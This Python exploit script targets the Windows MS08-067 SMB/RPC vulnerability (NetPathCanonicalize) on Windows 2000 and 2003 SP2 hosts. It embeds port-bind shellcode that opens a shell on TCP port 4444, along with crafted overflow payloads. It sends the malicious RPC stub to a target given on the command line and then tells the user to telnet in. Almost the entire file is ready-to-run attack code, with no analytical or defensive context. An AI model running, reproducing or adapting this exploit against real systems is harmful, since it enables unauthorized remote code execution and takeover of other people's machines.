#!/usr/bin/env python ############################################################################# # MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled) # www.hackingspirits.com # www.coffeeandsecurity.com # Email: d3basis.m0hanty @ gmail.com ############################################################################# import struct import sys from threading import Thread #Thread is imported incase you would like to modify #the src to run against multiple targets. try: from impacket import smb from impacket import uuid from impacket.dcerpc import dcerpc from impacket.dcerpc import transport except ImportError, _: print 'Install the following library to make this script work' print 'Impacket : http://oss.coresecurity.com/projects/impacket.html' print 'PyCrypto : http://www.amk.ca/python/code/crypto.html' sys.exit(1) print '#######################################################################' print '# MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)' print '# www.hackingspirits.com' print '# www.coffeeandsecurity.com' print '# Email: d3basis.m0hanty @ gmail.com' print '#######################################################################\n' #Portbind shellcode from metasploit; Binds port to TCP port 4444 shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" shellcode += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9" shellcode += "\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56" shellcode += "\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22" shellcode += "\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30" shellcode += "\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81" shellcode += "\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42" shellcode += "\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22" shellcode += "\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9" shellcode += "\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79" shellcode += "\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab" shellcode += "\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa" shellcode += "\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48" shellcode += "\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1" shellcode += "\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0" shellcode += "\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe" shellcode += "\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9" shellcode += "\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84" shellcode += "\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56" shellcode += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8" shellcode += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79" shellcode += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6" shellcode += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9" #Payload for Windows 2000 target payload_1='\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00' payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41' payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41' payload_1+='\x41\x41' payload_1+='\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0' payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43' payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43' payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43' payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43' payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43' payload_1+='\xeb\xcc' payload_1+='\x00\x00' #Payload for Windows 2003[SP2] target payload_2='\x41\x00\x5c\x00' payload_2+='\x2e\x00\x2e\x00\x5c\x00\x2e\x00' payload_2+='\x2e\x00\x5c\x00\x0a\x32\xbb\x77' payload_2+='\x8b\xc4\x66\x05\x60\x04\x8b\x00' payload_2+='\x50\xff\xd6\xff\xe0\x42\x84\xae' payload_2+='\xbb\x77\xff\xff\xff\xff\x01\x00' payload_2+='\x01\x00\x01\x00\x01\x00\x43\x43' payload_2+='\x43\x43\x37\x48\xbb\x77\xf5\xff' payload_2+='\xff\xff\xd1\x29\xbc\x77\xf4\x75' payload_2+='\xbd\x77\x44\x44\x44\x44\x9e\xf5' payload_2+='\xbb\x77\x54\x13\xbf\x77\x37\xc6' payload_2+='\xba\x77\xf9\x75\xbd\x77\x00\x00' if sys.argv[2]=='1': #Windows 2000 Payload payload=payload_1 print '[-]Windows 2000 payload loaded' if sys.argv[2]=='2': #Windows 2003[SP2] Payload payload=payload_2 print '[-]Windows 2003[SP2] payload loaded' class SRVSVC_Exploit(Thread): def __init__(self, target, osver, port=445): super(SRVSVC_Exploit, self).__init__() self.__port = port self.target = target self.osver = osver def __DCEPacket(self): print '[-]Initiating connection' self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target) self.__trans.connect() print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target self.__dce = self.__trans.DCERPC_class(self.__trans) self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0'))) # Constructing Malicious Packet self.__stub='\x01\x00\x00\x00' self.__stub+='\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00' self.__stub+=shellcode self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x00\x00\x00\x00' self.__stub+='\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00' self.__stub+=payload self.__stub+='\x00\x00\x00\x00' self.__stub+='\x02\x00\x00\x00\x02\x00\x00\x00' self.__stub+='\x00\x00\x00\x00\x02\x00\x00\x00' self.__stub+='\x5c\x00\x00\x00\x01\x00\x00\x00' self.__stub+='\x01\x00\x00\x00' return def run(self): self.__DCEPacket() self.__dce.call(0x1f, self.__stub) #0x1f (or 31)- NetPathCanonicalize Operation print '[-]Exploit sent to target successfully...\n[1]Telnet to port 4444 on target machine...' if __name__ == '__main__': try: target = sys.argv[1] osver = sys.argv[2] except IndexError: print '\nUsage: %s \n' % sys.argv[0] print 'Example: srvsvcexpl.py 192.168.1.1 2\n' print 'Select OS Version' print '[-]Windows 2000: OS Version = 1' print '[-]Windows 2003[SP2]: OS Version = 2' sys.exit(-1) current = SRVSVC_Exploit(target, osver) current.start() #print '[-]Exploit sent to target successfully...\n[-]Telnet to port 4444 on target machine...'